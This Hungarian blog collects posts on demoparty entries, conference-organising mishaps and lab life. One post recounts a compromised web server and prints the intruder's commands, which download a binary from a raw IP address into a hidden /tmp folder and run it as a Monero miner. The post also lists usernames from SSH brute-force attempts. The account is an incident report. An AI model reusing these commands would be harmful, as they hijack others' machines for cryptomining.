Az élet kódjai

Az idei Revision a nyers demoscene hangulatában telt. Már az invitáció is azt sugallta, a maga letisztult formájával, hogy a sallangokat felejtsük el. Bár csak a közvetítést néztem, (azt is folyamatos harcban az álmossággal) de úgy tűnt a szervezők komolyan veszik a célt. A kompók felvezetése is néha olyanná vált, mintha DFox nem akarna semmit csinálni. Ült a színpadon, sört kortyolt és elvolt.

A résztvevőkről szerencsére a résztvevők nem fogadták meg ezt a fajta hozzáállást és igen kitettek magukért. Lássuk, mivel kápráztatták el a nézőket!

Streaming music

Zeneileg nem volt lenyűgöző, amit hallottam, de szórakozásnak kiváló volt. Mit értek ez alatt? Netpoet mindjárt az Áttörés babérjaira tört You című számával. A szövegben remekül keverte a konyha-filozófia és a motivációs előadások klisés tanácsait, mindezt egy kellemes dallammal fűszerezve.

A másik Kangaroo blaszfémiát súroló dalszövege, ami szerint Jézus azért halt meg, hogy legyen Húsvéti demóparty. Érzékeny lelkűeknek meghallgatását nem ajánlom.

Executable music

Csak négy futtatható zene volt, de végig sem tudtam hallgatni őket. Túl monotonak voltak.

Oldschool music

Elég sok Amigás induló volt, akadt egy Atari is. Ez utóbbi a platform adta limitáló tényezők miatt volt érdekes, de élvezeti értéke számomra nem sok volt.

Tracked music

A nekem tetsző zenéket a közönség a lista hátsó végébe száműzte. Ez az Ulterior és a Slow cha cha cha volt. Kívül állóknak mesélek egy kicsit erről a fajta zenéről. Ma már nem nagy szám, hogy egy számítógép egy teljes zeneszám hullámformáját lejátssza, de a régi időkben ez nem volt lehetséges. Ezért csak rövid zenei elemeket, úgynevezett sample-ket tároltak a memóriában és egy kottához hasonló táblázat határozta meg, mikor és hogyan kell lejátszani az adott sample-t. A compok alatt ezt a táblázatot lehet látni, ami valljuk be, nem túl érdekes.

Ezt gondolhatta Ferris, H0ffman és Wobble is, akik gyakorlatilag egy demót csináltak ezen minták felhasználásával. A zene sem rossz, de ezzel a vizuális trükkel egyértelműen a legjobbak voltak a compón.

Fotó

Elég sok igényes kép készült, viszonylag kevés purhab típusú alkotást adtak be. Mégis némelyik képnél nehéz elhinni, hogy mérsékelt retusálást tartalmazott.

Most nem voltak elérhetőek a retusálás nélküli képek, ezért nehéz valódi ítéletet mondani.

4k executable graphics

 Mivel továbbra is erős vonzalmat érzek a Linuxos releasek iránt, meg kell említenem Cenotaph-ot. Bár nálam nem működött rendesen (a kép csak egy pillanatra villant fel, amikor a fekete képernyőből ki akartam lépni), a szerző azt állította, hogy kifejlesztett egy új tömörítőt. Kíváncsian várom! A harmadik helyen egy magyar produkciót is láthattunk egy jópofa űrhajóról.

Animált GIF

A többi kategóriához képest ez most könnyebb volt, de azért akadt pár felkavaró elem. Az egyik a második helyezett szemes-ajtós volt. Szerencsére a nyertes heeelix igen ötletes volt. Azt lehet nézegetni órákon át.

ASCII/ANSI/PETSCII

2018 ide vagy oda, a karakterekkel rajzolás még nem ment ki a divatból, amit 12 induló is bizonyít. A legjobban nekem is a győztes Summit tetszett. Nem csak egy képet, de egy egész történetet mesélnek el karakterekkel rajzolva. Szinte megelevenedik a történelem.

Modern graphics

Nem lehet teljes a grafikai kompó egy sárkány nélkül. Unreal mostani képe számomra nem egyértelmű, mert a sárkány állkapcsa kicsit csálé, vagy én nem látom mi fog és mi szikla.

Természetesen robotok sem maradhatnak ki. Az Omegashrimp egész jó, de a végtagok itt sem egyértelműek nekem.

Paintover

Az előbb látott motivumok természetesen visszatérnek. Unreal sem aprózza el, egy képen már két sárkány és más furcsa lény bámul bambán. Oni Unexpected visitor képe viszont tarol. Szó szerint és átvitt értelemben egyaránt.

Oldschool graphics

Szerintem, ha az összes grafikai kompót nézzük, akkor Made Amigás képe mindegyiket lealázza. Nem csak a színek káprázatosak, a kompozíció és a téma is remek. Ráadásul megvan benne az a plussz, amitől beindul a néző agya. Igazi mestermű.

4k intró

Fizzer és Noby kettős elég sikeresen szerepelt a kategóriában. Két release-t adtak le és el is hozták az első és második helyet. Mindkét release amolyan egyszerű, de nagyszerű koncepciót képvisel, bár az Oscar's Chair a realisztikus megjelenítésre helyezte a hangsúlyt, és szerintem a kor elvárásainak maximálisan megfelel. A kategóriában egyébként meglepő mennyiségű release érkezett, ami nem tett jót az átlagos színvonalnak, de jó látni, hogy az emberek kezdenek visszatérni és alkotni ebben a méret tartományban is.

64k intró

A Conspiracy folytatta borús hangulatú intró sorozatát. A történet talán nem olyan nagy hatású, mint a két évvel ezelőtti Darkness lay your eyes upon me, de sokkal letisztultabb, könnyebben befogadható, mégis megőrzi az első rész baljós hangulatát. Összességében számomra jobban bejön. Kíváncsian várom a sorozat következő darabját! A komolyság után nézzük a compó legbohókásabb alkotását, a Farbrausch tálalásában. A Popular Demora hajazó mű idétlen, reggeli tornát megszégyenítő táncmozdulatokkal vonaglik.

Animációk

Érdekes módon az idei animációk elég gyengék voltak. A Last symphony érdekes lehetett volna, de csak elvont lett. A Byte me, Blossom pedig csak az alkalmazott effekt miatt volt érdekes.

Amiga demo

Az Alice csodaországban egy részlete volt a témája a legjobb Amigás demónak. A The Fall azt a részt vizualizálja, mikor a kislány beleesik a nyúl üregébe. Egy képet a demóból már megcsodálhattunk a grafikák között is. A Pt2 Horizons hagyományosabb szerkezetű, azok is élvezhetik, akik PC demókon szocializálódtak.

Amiga intro

Az intrók közül a Seven and Countinggal kezdeném, mert ebbe Grass rajzolta a logót. Elmondása szerint az utolsó pillanatban keresték meg, mert ő rövid határidőkkel is képes dolgozni. Az akadályt sikerrel vette. Azért a többi indulóra sem lehet panasz. A Centaur szerintem kifejezetten ötletes volt, mert nem csak a 3D erőltetett alkalmazásával akarta elkápráztatni a nézőket, mint ahogy a második helyezett Overtone tette.

Oldschool demo

A régi gépek szerelmesei sem panaszkodhattak. A Commodore és az Amstradt igazi párharca volt, amit végül előbbi nyert, de a második helyezett PHX-nek sincs oka a panaszra. Én mégis a VIC-20 demót emelném ki, mert bár nem volt olyan dinamikus, mint az első helyezett We came in peace, vagy vidám, mint a PHX, de a platformból mindent kifacsart, amit lehetett. Talán a C64-en történt szocializálódásomnak tudható be, hogy a VIC-20 demókért soha nem voltam oda, de a Gnork ezt képes volt ezt megváltoztatni.

PC demo

Bevallom, félve kapcsoltam be SlySpy legújabb Rainbow Clash alkotását. Úgy voltam vele, mint a Halálos Iramban széria legújabb részével: rosszabb lesz, mint az előző, vagy nem? A trend csökkenő, de ott motoszkál az ember fejében, hogy hátha most másképp lesz. Sajnos Vin Dieseléknél mindig bejön a papír forma, nem úgy a Rainbow Clashnél. Nekem határozottan tetszett a koncepció és örömmel látom, hogy nem én vagyok az egyetlen, aki még emlékszik az Idő Uraira.

Érdekes módon három Notch-al készült demó is volt. Ezt az eszközt Smash készítette a munkájához, de úgy látszik rácuppantak a demó készítők is. A Wander végre visszahozta azt, amit a Sokiaból hiányoltam. Mikor a táncoló figura olyan lett, mintha tejből állna, akkor mondtam magamban: Ez az! A rendezés kicsit kaotikusnak tűnik, mintha részeket csak egy hirtelen ötlettől vezérelve raktak volna bele, de ez szerintem elfogadható.

Amiről viszont beszélni kell, az az Echo Chamber. Az Űrmalacok legújabb agymenése a demók Inception-je, amibe még a kompót is bevonták. Először is betettek egy compo fillert a demók közé, ami megjelent a demóban is, mintha a demó lenne a kompó. De ettől a kompó lett a demó. Vagy valami hasonló.

Eddig csak résztvevőként voltam jelen konferencián, de most alkalmam nyílt rá, hogy bekukkantsak a kulisszák mögé. Már a Sangerben is beszéltem egy emberrel, aki az ottani konferencia központban dolgozott. Ő azt mondta, hogy egy konferencia előkészítése már egy évvel az esemény előtt elkezdődik. Mivel ott folyamatosan voltak rendezvények, feltételezem, jól bejáratott protokollok voltak a felmerülő problémákra.

Akár így van, akár nem, egy dologban biztos vagyok: nálunk ennek nyoma sem volt. A konferencia szervezése nyűg. Ezt tudta az a szervezet is, akikenek a nevén futott (továbbiakban a Szervezet), ezért letudták azzal, hogy adtak egy csomó pénzt a csoportvezetőnek. A csoport vezető letudta az egészet azzal, hogy kiadta a feladatot két PhD hallgatónak.

Mint minden konferenciának, ennek is volt weboldala, amit a Szervezet fejlesztett valamikor az ősidőben és utána soha nem tartott karban. A regisztráció még csak működött valahogy, a meghívott előadókat is fel lehetett vinni, de minden egyébre alkalmatlan volt. A PhD hallgatók például szerették volna, ha az előadók nevei középre lennének igazítva a fényképek alatt. Ez nem egy bonyolult feladat, egy harmad osztályú programozó két perc alatt megoldja. A Szervezet erre nem mutatott hajlandóságot, szerintük a weboldal úgy tökéletes, ahogy volt. Nosza, mit tehet ilyenkor a felhasználó? Telenyomja szóköz karakterrel az előadó nevét. Ha pedig ez sem elég, jöhet a nem törhető szóköz.

Persze egy csomó felhasználó egyszerűen nem használta a weboldalt, megelégedtek azzal, hogy e-mailen regisztrálták magukat, olyan adatokat megadva, amilyen nekik tetszik, ezért nem is volt megpelő, hogy hiányzott egy-két kötelező adat. A regisztráció megnyitásakor rögtön egy csomó török, üzbég, bolgár kutató jelezte részvételi szándékát. Mikor a csoportvezető az iránt érdeklődött, hogy "fontos" országokból regisztrált-e valaki, a válasz csak két széttárt tenyér volt.

Természetesen mindenki igénybe akarta venni az összes elérhető kedvezményt. Még nem is tudták, mennyibe kerül a részvétel, de már jelezték, hogy nekik kell a támogatás. Az ideig évben már be kellett fizetni valamit, hogy a támogatást megkapják, mert állítólag tavaly voltak olyan csóró kutatók, akik felvették az utazási támogatást és elfelejtettek eljönni a konferenciára. Nem igazán tudok haragudni rájuk.

Az e-mailek száma egyre csak növekedett. Minden apró-csepről problémával a két PhD hallgatót keresték meg. Még azokkal a problémákkal kapcsolatban is, ami a Szervezet hatáskörébe tartozott. Közben az intézet sem volt túl segítőkész, pontosabban azok, akik kezelték a pénzt. Minden szerződésbe belekötöttek. Végül a gazdasági igazgató azt kérte, hogy szerkeszthető szerződéseket csináljanak, írja alá a szálloda, majd az intézet beleírja azokat a dolgokat, amik rá tartoznak, úgy ahogy nekik tetszik.

Szerencsétlen PhD hallgató engem kérdezett meg, hallottam-e már szerkeszthető szerződésről. - Persze - válaszoltam. A Vietnámi háború idején a hadifogoly táoborokban. Ott alkalmazták őket.

Majd a regisztráció ideje lejárt. De mivel egyetlen "fejlett" országból sem akartak jönni, így a regisztráció idejét kitolták. Az ELTE-n felvehető kurzus lett, mert azt remélték a sok csillogó szemű, tudásra szomjas PhD hallgató majd megtölti a termet. A szervezők immár nem csak a taxitársasággal (akik majd furikázzák a meghívott előadókat), a szállodával, a gazdasági osztállyal és az étkeztetés lebonyolítóival vívták napi harcukat, hanem most már az ELTE tanulmányi osztályával is.

A határidők közeledtek, a munkaórák hosszabbodtak. Én közben igyekeztem egyre használhatatlanabb benyomást kelteni, nehogy valaki kitalálja, hogy jövőre az én nyakamba kellene varrni bárminek is a megszervezését. De ahogy közeledett a határidő, mindenkinek részt kellett venni a buliban valamilyen formában. Így lettem én a konferencia hivatalos fotósa. Ezt viszont nagyon jól akartam csinálni, mert akkor talán ezzel bíznak meg máskor is, nem olyasmivel, ami bármilyen formában is pénzzel (és azon keresztül a gazdasági osztállyal) van kapcsolatban.

Ezért kértem, hogy vegyenek nekem egy vakut, mert a fényképeződépem beépített vakuja nagyon közel van az optikai tengelyhez, amitől nem lesznek természetes hatásúak a képek. Mondanom sem kell, sikerült egy olyan vakut választani, ami nem volt az országban. A konferencia után két héttel közölték, hogy a beszerzés késni fog.

Végül elérkezett a konferencia napja. A PhD hallgatók sík idegek voltak. Az egyik meghívott előadó még az utolsó pillanatban sem volt képes megmondani, mikor érkezik. Akiknek nem jutott munka, azokat a csoportvezető beültette az első sorokba, hogy "érdeklődve figyeljenek és okosakat kérdezzenek". Őket sem irígyeltem. Negyven perces előadások, hármas/négyes blokkokban. A hátsó sorokban még könnyú elszundítani, na de az első sorban? Egyikük panaszkodott is, hogy alig bír ébren maradni és a nyaka is fáj, ahogy folyamatosan felfelé néz. Javasoltam neki, hogy jegyzeteljen. Akkor nem baj, ha nem felfelé néz és ha mozog, nehezebben alszik el.

Én fotókat készítettem. Mivel nem jött meg a vaku, alkamazkodnom kellett a helyzethez. Volt egy teleobjektívem optikai képstabilizátorral és elvittem egy kis 50mm-est, mert annak 1.8-as rekesze van, az talán elég lesz. Az előadókról az előadások első öt percében megcsináltam a képeket. Akkor még éber a közönség, kevésbé zavaró, ha egy teleobjektíves ember belevakuzik az arcukba. Két képet csináltam jobbról, kettőt balról, párat pedig az 50mm-essel, hogy az is látsszon, hogy embereknek beszélnek, nem az üres teremnek. Mivel nem vagyok egy profi fotós, kísérleteztem mindenféle beállítással. Elsősorban a vaku használatot akartam elkerülni. Ez még ment az elején, de aztán arról panaszkodtak az előadók, hogy túl sok a fény a teremben és 25%-al levették a fényerőt. Akkor már csak vakuval tudtam normális képet készíteni.

Azért így is akadt kihívás. Az egyik előadó például beállt a számítógép mögé és onnan olvasta fel a diákat. Nem tudtam olyan képet készíteni róla, hogy ne látszódjon a feje teteje. Úgyhogy vártam. Amikor eljött a kérdések ideje, végre felemelte a fejét. Akkor jött a memória törlés. A másik probléma a csoportképpel volt. Az előadó teremben kellett lefényképezni őket, de az 50mm-es objektív nem tudta befogni őket. Ott álltam, mindenki mosolygott, várt, nekem meg dönteni kellett. Akkor panoráma fotó lesz! Hat képet csináltam és reméltem, hogy a Hugin majd teszi a dolgát.

Közben volt alkalom, hogy a regisztrációs pultban is ültem kicsit. A legtöbbször a wifi jelszót kérték. A második legnépszerűbb kérés a konnektor helye volt, hogy feltölthessék a telefonjukat. Egy előadónak volt problémája a repülő jeggyel, mert a franciák pont akkor terveztek sztrájkot, amikor az illető utazni akart. A telefonos ügyfélszolgálatot nem tudtuk felhívni, interneten nem értük el a foglalását (mint kiderül azért, mert a weboldal a jegy számát kéri vagy az email címet és foglalási számot. De a jegy számával nem működik.) Mire végül sikerült felhívni őket, kiderült, már át is rakták a repjegyet.

Csoportvezetőnk csak egyszer akadt ki a szervezésre, mert az ebédhez sorba kellett állni. A hallgatók nagyon a szívükre vették, de megnyugtattam őket, hogy csak az alacsony vércukor szint áll a dolgok mögött.

Egy kellemetlen incidens volt csak. A résztvevők minket kértek meg, hogy hívjunk taxit nekik a reptérre. Az egyik résztvevő viszont a portán kért taxit egy olyan időpontra, amikorra már valaki másnak foglaltunk. Megjött a két taxi. Az események rekonstruálása során arra jutottunk, hogy a résztvevők a várakozás során elkezdtek beszélgetni, és beültek egy taxiba. A másik meg ott várt. Negyed óra múlva szólt, hogy hol a kuncsaft? Kerestük az illetőt égen-földön, de nem találtuk. A taxi óra meg csak ketyegett. Végül jobb híján összedobtuk a pénzt neki. Állítólag tavaly is volt egy hasonló malőr, de akkor nem fizették ki a taxist, és a társaság tiltó listára tette az egész intézetet.

Miután befejeződtek az előadások, a konferencián résztvevő PhD hallgatóknak vizsgát kellett tenniük. A kérdések viszonylag nehezek voltak, de semmilyen szankció nem volt a mobiltelefon használatra, beszélgetésre, sőt ha megkérdezték a választ, és tudtuk, megmondtuk nekik. Ennek ellenére az összesítésnél kiderült, hogy csak a jelentkezők fele vizsgázott.

Az elkészített képeket kicsit fel kellett javítani. A becsillanó részeket levágtam, piros szemeket kiretusáltam. A csoportkép először nem sikerült jól, mert a Hugin a különböző képeken, ugyan attól a személytől való apró fejmozgásokat összemosta egyetlen szellemképes fotóvá. Végül felfedeztem, hogy ki tudom maszkolni az egyes képek részleteit, amit aztán nem vesz figyelembe a program. Ezzel sikerült elérni, hogy mindenki szem nyitva legyen, mindenki a kamerába nézzen. Mivel a webre készültek a fotók, ami kicsit életlen lett, azt átméreteztem. Nekem ilyen szempontból jó gyakorló terep volt ez a konferencia.

A vicces az, hogy a konferenciával való munka nem fejeződött be annak végeztével. Utána kellett kifizetni mindent. Ekkor jött rá a gazdasági hivatal, hogy az a szerződés, ami átment öt emberen, nem felel meg. Átutalások akadtak el a bürökrácia bugyraiban. A PhD hallgatók rohangáltak a különböző rangú emberek között, mert egyesek nem voltak hajlandóak beszélni a másikkal, valaki féltette a hátsóját és olyan is akadt, aki totál sületlenségeket hordott össze. Mint egy ostoba szappanopera. Nem akarom teljesen kiteregetni a szennyest, de nemrég a szervezők egyike, mikor belépett az irodába, csak ennyit mondott: Nem akarok börtönbe kerülni!

A régi mondás, miszerint többet ésszel, mint erővel, általában igaz. De egyes helyzetekben nincs másra szükség, mint egy tenyérbe köpős, tesztoszterontól fűtött, gyors és hatékony munkavégzésre. A gondolkodás csak akadály. Meg kell ragadni, odacsapni és már jöhet is a macsós hátba veregetés: ott voltunk, megcsináltuk. Kiszakadt a vezeték? Összetört a kristály csillár? Csak járulékos veszteségek. A munka kész, jöhet a következő kihívás.

Valami ilyesmi történt a steril fülke összerakásánál is.

Az egész azzal kezdődött, hogy az egyik labort ellepte a gomba. Kiírthatatlan, mindenütt jelen lévő. Mint Dustin Hoffman a Vírus című filmben, a dolgozók is hamar rájöttek, hogy levegőben terjed, a szellőzőt használva. Napalm nem volt kéznél, enyhébb vegyszereket meg könnyedén abszolvált. Mivel a gombát nem tudták távozásra bírni, de a labor eszközöket igen, a cuccokat nekiláttak költöztetni.

Így került a szétszedett steril fülke a velem szomszédos laborba. A szétszedettet úgy kell érteni, hogy nem állt a lábazaton. Egy raklapon pihent. Az egyik PhD hallgató kapta a feladatot, hogy a két darabot eggyé varázsolja. Ő először telefonált az üzemeltetésnek, akik nem voltak a helyükön. Aztán írt egy emailt az üzemeltetés vezetőjének, hogy válaszoljon, mikor tudják a cuccot összerakni. Azok természetesen nem válaszoltak. Közben beszélt a gép szervizelésével megbízott céggel, akik bekötik a csöveket. Ők elször megígérték, hogy a lábazatra is rárakják, de később viszakoztak, hogy mégsem. Ekkor újra kezdődött a kommunikáció az üzemeltetéssel. De akkor csonka hét következett, szabadságon voltak, nem értek rá, stb.

Két hét után, már kezdett idegesíteni, hogy minden nap azt kell hallgatnom, hogy szervezés címén mit töketlenkednek. Átmentem velük a másik laborba, megnézni a szörnyeteget. Állítólag 300 kg volt, de miután az egyik sarkán alányúltam és megbillentettem, a súlyát 170 kg-ra saccoltam. Akkor azt gondoltam, három ember elég a megemeléséhez. Közben a többiek elkezdtem tervezni:
- Kell az üzemeltetés, mert nekik biztos van darujuk.
- Emeljük meg mindig egy kicsit és tegyünk alá raklapokat, hogy egyre magasabb legyen.
- Emeljük gurtnival, kézzel lehetetlen.

Azt mondtam nekik, nem kell semmi, szóljon még két embernek és megemelik kézzel. De persze csak a meeting volt meg, aktuális munka nem történt. Eltelt még egy hét. Egyik nap, korábban kellett elmennem, de akkor is a steril box volt a téma. Ismét mondtam, szerezzen két embert. Nem szerzett. Másnap bementem és csak egy dolgot kérdeztem: Sterilbox megoldva? Nem volt a válasz. Megettem a reggelimet és átmentem a szomszéd laborba. Ott volt egy fiatalabb fickó, a nevét sem tudtam. Elhívtam. Szóltam még egy embernek.

Visszamentem a PhD hallgatóhoz és csak annyit mondtam:
- Felrakjuk a steril fülkét! - Szerencsétlen azt sem tudta, mihez kapjon.

Megemeltük, de nem bírtuk el stabilan. Lehet, hogy több, mint 170 kg? Ismét jöttek a jobbnál-jobb tippek, de akkor már megvolt a kritikus izom tömeg, amit eredményesen lehurrogta a baromságokat. Szereztünk még egy embert, fogást kerestünk és felraktuk. Kicsit kellett igazgatni, mert a furatok helye nem passzolt, de összességében fél óra alatt elkészültünk. Nem kellett daru, gurtni, Jedi-trükk. Nem volt szükség ferde rámpára, mint a piramosok építésénél. Az üzemeltetés meg...

Mostani munkám során ismét egy webszolgáltatást kell felépítenem. Kineveztünk egy dedikált gépet, ahol a PHP/MySQL/Apache hármas teljesíteni fogja a feladatát. A rendszergazdai feladatokkal nem engem bíztak meg, aminek örültem. Semmi kedvem nem volt egy szutyok PC-t szerverré varázsolni és olyan kérdésekre keresni a választ, mint: "miért nem megy?"

A rendszergazda természetesen mindjárt virtuális gépet rakott fel és abban futott a szerver, aminek annyira nem örültem, de ha úgysem én csinálom, akkor végül is mindegy. De mint kiderült, nem tudtam magam teljesen kivonni a munkából. A rendszergazda megkérdezte, milyen programokat telepítsen rá, én megadtam a listát, úgyhogy csak a fele hiányzott annak, amit kértem. Mivel felvettek a sudo csoportba, nem akadékoskodtam, csak elkezdtem felrakni, ami kellett.

Természetesen a telepítés sem ment zökkenő mentesen. A gép random időközönként újra indult. Az elején azt hittem, ez annak a hozadéka, hogy egyszerre dolgozunk a szerveren és a konfigurálás után újra indítják a gépet, de miután én voltam az egyedüli bejelentkezett felhasználó, kezdtem gyanakodni, hogy más állhat a háttérben.

Miután a negyedik adatbázis import sem sikerült, egyre erősödött bennem a gyanú, hogy az I/O terheléssel függ össze a dolog, de nem fértem hozzá a gazda géphez, ezért gondoltam, lepasszolom a feladatot, de előtte megnéztem a logokat. Percenként átlagosan 10-15 sikertelen belépési kísérlet volt. Összeszedtem a legnépszerűbb felhasználói neveket az auth.log-ból (a szám, hogy hányszor próbáltak az adott felhasználóval belépni):

170 admin
39 user
32 test
23 ubnt
21 support
21 ftpuser
18 pi
18 from
14 guest
13 postgres
13 oracle
13 adm
12 operator
11 super
10 default
10 1234
8 ubuntu
8 manager
6 testuser
6 jboss

Aztán megnéztem az auth.log.1-t is, mert az mégis csak nagyobb időt ölel fel:

491 admin
162 user
86 test
64 ftpuser
57 support
56 guest
55 ubnt
54 laszlo
54 jozsef
54 janos
54 istvan
54 csaba
46 andor
44 pi
43 alex
38 soma
38 matyas
38 imre
38 andras
37 zsigmond

Ez igen! Ezek elvégezték a házi feladatot. Magyar szervert magyar nevekkel törünk. Egyebkent Ukrán IP-ről jöttek a kérések. Megnéztem, milyen keresztnevekkel próbálkoztak, de érdekes módon nem az összeset használták. A lányom neve például nem szerepelt, de a "brajen" vagy "duci" igen. A férfi keresztnevek csúnyán felül reprezentáltak voltak. Nem elég, hogy fel akarják törni a gépet, még szexisták is.

Aztán egy ideig nem foglalkoztam a dologgal, a rendszergazda is elvolt azzal, hogy kitalálja, miért indul újra a szerver. Végül megoldotta azzal, hogy lekorlátozta a memória használatot 4GB-ra. Én közben befejeztem az adatbázis importálást és kellett némi tuningolást eszközölnöm a szerver oldali modulon, mert a felettesem kifogásolta, hogy nem fut le 5 másodperc alatt (differenciál expressziót számol 1098 mintára, esély sincs rá, hogy lefusson ennyi idő alatt, de ez az én bajom).

Végül mégis utolért a rettegett kérdés: Miért ilyen lassú? Tizenöt perce fut egy kérés. Hmm, ez azért tényleg furcsa. A rendszergazda külföldön volt, így engem ért a megtiszteltetés, hogy ezzel foglalkozzam. A gépen 5-ös load volt és három szálat az nttprd foglalt le. Miután megnéztem a futó folyamat részleteit, rájöttem, hogy mindenem megvan! Ugyanis egészen eddig csak a bitcoin bányászok hiányoztak az életemből.

Egy ilyen kis szeretet csomag futott a webszerver jogosultságával:

mkdir /tmp/.x11_kenp0le/
curl http://185.165.169.146/sen -o /tmp/.x11_kenp0le/nttprd
chmod +x /tmp/.x11_kenp0le/nttprd
/tmp/.x11_kenp0le/nttprd -B -a cryptonight -o stratum+tcp://pool.minexmr.com:80 -u 49CSBHFhjm5RVGiJuVh7ANEsdozsXMfkCE2rCEHXjTgoJNVdSzyvg8tM1xLpQH8R7mfcEf5jtArJf5S9XBrgfmNz5yTRMiM -p x &>>/dev/null

Egy Seychelle-szigeteken bejegyzett szerverről töltötték le a kódot, a bitcoin felhasználó számomra lenyomozhatatlan. Mire összeszedtem mindent, ismét történt egy újraindulás. A /tmp kiürült és semmi nyoma nem maradt az egésznek.

Azt hittem matematikából már mindent tudok, amit egy biológusból képzett bioinformatikusnak tudnia kell. Tudom, hogy az eredmények statisztika nélkül is látszanak, miként szabaduljak meg attól a csúnya log-nak rövidített izétől. Ezeket az ismereteket nem lehet az iskolapadban elsajátítani, ahogy mondani szokás, "erre az élet nevel".

De ezen a héten bebizonyosodott, hogy igenis van még mit tanulnom. Ráadásul ez a tudás igen alapvető, mert a lebegőpontos számábrázolással van kapcsolatban.

Egy projekthez kellett kb. 27 táblázatot generálnom. Mikor mindennel kész voltam és elküldtem őket, azt a feladatot kaptam, hogy az összes táblázatot készítsem el újra, hogy csak két tizedes jegyet tartalmazzanak! Az indoklás az volt, hogy "a második tizedes jegy után csak zaj van".

Mit lehet tenni? Senki nem akarja zajjal feltölteni a táblázatát, nem igaz?

Mikor végeztem és a szignifikáns sorokban a p érték mind 0 lett, akkor teljesen biztos voltam benne, hogy jól dolgoztam és semmi zaj nem maradt.

Sokan bírálják a tudományos életet, hogy mennyire hatalmi elvű, mert minden a csoport vezetőknek van alárendelve. (A csoport vezetők meg a különböző bizottságoknak, akik a pénzt osztják a kutatásra.) De ennek van egy kevésbé értékelt pozitív hozadéka is, az alázat.

Alázat alatt nem a minden ok nélküli behódolást értem, hanem annak a megértését, hogy mi az, amit nem tudunk. Elfogadni, hogy nem tudunk mindent és vannak hiányosságaink, hiába van PhD-nk, Science cikkünk, továbbra is rá vagyunk utalva, hogy mások munkáit elolvassuk, elsajátítsuk az ő felfedezéseiket is.

Erről az apró tényről még a legnagyobb kutatók is hajlamosak megfeledkezni és a TV-ben olyan témákról is vígan nyilatkoznak, ami kívül esik a kutatási területükön, ergo könnyen lehet, hogy annyit sem tudnak róla, mint egy járókelő.

Mostani történetünk hősei is ilyenek. Ez nem velem esett meg, de akár velem is előfordulhatott volna, és ahogy a nagy bölcsek mondják: az okos mások hibáiból tanul.

A történet a következő: X szeretett volna egy jó zsíros cikket írni, amit mindenki idéz. Labormunkát viszont nem nagyon akart végezni. Rövid töprengés után arra jutott, hogy áttekintő cikket kellene írni, hiszen azt mindenki idézi és milyen magas impakt faktorú lapokban jelennek meg! Kiválasztott egy témát és kiadta a feladatot Y-nak. X-nek már csak annyi dolga volt, hogy hetente rákérdezzen: Készen van?

Így teltek a hónapok, míg el nem készült a nagy mű. Rögtön be is adták egy patinás lapba. A főszerkesztő nagyjából két óra múlva dobta vissza. Indoklás: Maguk az adott témából eddig 0 cikket publikáltak. Más szavakkal: honnan veszitek, hogy ehhez ti értetek?

Ez az az alázat, amire gondolok. Már az egyetemi disszertáció készítésénél is elvárjuk, hogy a hallgatók az irodalmi összeollózáson kívül mást is csináljanak. De hőseink még ebből sem tanultak. Nem értették, hogy miként lehetséges az, hogy ezt a komoly cikket visszadobták. Dühösen mesélték mindenkinek, hogy velük hogy elbánt ez a cudar főszerkesztő, pedig a Google Scholar oldalán olyan publikációk vannak, amelyeket nem is ő írt. Biztos rejteget valamit!

Azt már csak én gondolom tovább, hogy ha egy ilyen konspiráló alak dobja vissza a cikket, akkor az érvei nem is jelentenek semmit, hiszen csak egy áskálódó alak. Nyilván ezzel a viselkedéssel harcolta ki, hogy annak a híres lapnak a főszerkesztője legyen és vakond hajlamait ott éli ki igazán. Hányattatott sorsú, meg nem értett zsenik korszakalkotó munkáit dobja vissza nevetséges indokokkal, és ezzel az egész civilizáció fejlődésének a gátja.

Szerencsére a hungariensis végzősdésű lapok mentesek ezektől a kis stílű, Napóleon-szindrómás alakoktól.

A Demobit egy csendes kelet Európai party, de közelsége Magyarországhoz ideális scene turizmushoz. Ez meg is látszik, ahogy évről évre egyre több magyar induló van, ezért most erről fogok írni.

Zene

A zenék nem is voltak olyan rosszak, mint amire számítottam. A compót nagz nyerte, mégpedig egy nem is akármilyen zenével:

Grafika/Fotó

A szerény évkezdésnek megfelelően szerény felhozatal, ami nem az indulók mennyiségét, inkább a minőségét jellemzi. Még Dorcyy képéből is hiányzott az élet. A fotók egy cseppet jobbak voltak, itt-ott akadt egy hivatásos induló, de így is akadt elég jellegtelen kép.

Wild/animáció

Őszintén szólva nem tudom, mi indokolta ezt a két kategóriát, mert akadtak átfedő alkotások, például a tortás videó, de a Gabber for horses is belefért volna a demó kategóriába. Az animációk viszont jók voltak. Még a bújtatott reklám drón videó is kreatív volt. De a legjobb szerintem a Je suis toi volt. Nem volt túl elvont, mégis elég érzelem volt benne.

Intrók

Az oldschool intrók kimerültek a scrollerek variálásában. Azt hiszem ennyi elég is róluk. A PC intrók sem vitték túlzásba, a Nitro Intra kellemes, egyszerű intró volt, korrekt zenével, de egy komolyabb partin valószínűleg észre sem vennénk.

A 256 byte intrók összességében jobbak voltak. Kiemelném a Storming over the Tatras-t. Nem azért, mert technikailag olyan kiemelkedő, hanem azért, hogy megmutassam, egy jó címmel még a zajt is el lehet adni. Nem tudok szabadulni a gondolattól, hogy egy bugot "javítottak" a név választással. Hasonló érzésem van a Minsky objektum orientált technológiai bemutatóval kapcsolatban is.

Demók

Az Alföld és a Hortobágy gyanús hasonlósága valami olyan poént sejtet, amit a kívülállók nem érthetnek. Megkaptuk végre a QBParty invitációját is Feryxtől. Ott volt az ASD is, de csak Kinecttel felvettek egy csomó modellt és vertex shaderben raktak rá egy kis Perlin-noise-t :-) A zene viszont nagyon jó volt hozzá. A Fresh!Mindworkz két demóval is jelentkezett. Az egyik végre szakított a részecske rendszerek egyeduralmának, ami üdítő változás (érdekes módon ezt adták ki álnév alatt), és volt egy koprodukció Gargajjal, ami nekem nagyon bejött. Az a tipikus egyszerű, de nagyszerű demó, ami nem rázza meg a kontinenseket, de kellemes nézni.

Végül ott volt a Monoamine, ami szerintem megérdemelten nyert.

Akit érdekel egy kis háttér a partyról, az mindenképp olvassa el a Scene.hu cikket is. A komment szekció is igen tanúságos.

Azt hiszitek, hogy a magyar szuperszámítógépek helyzeténél nincs rosszabb? Akkor még semmit nem tudtok az MTA Cloud gőzpamacs helyzetéről.

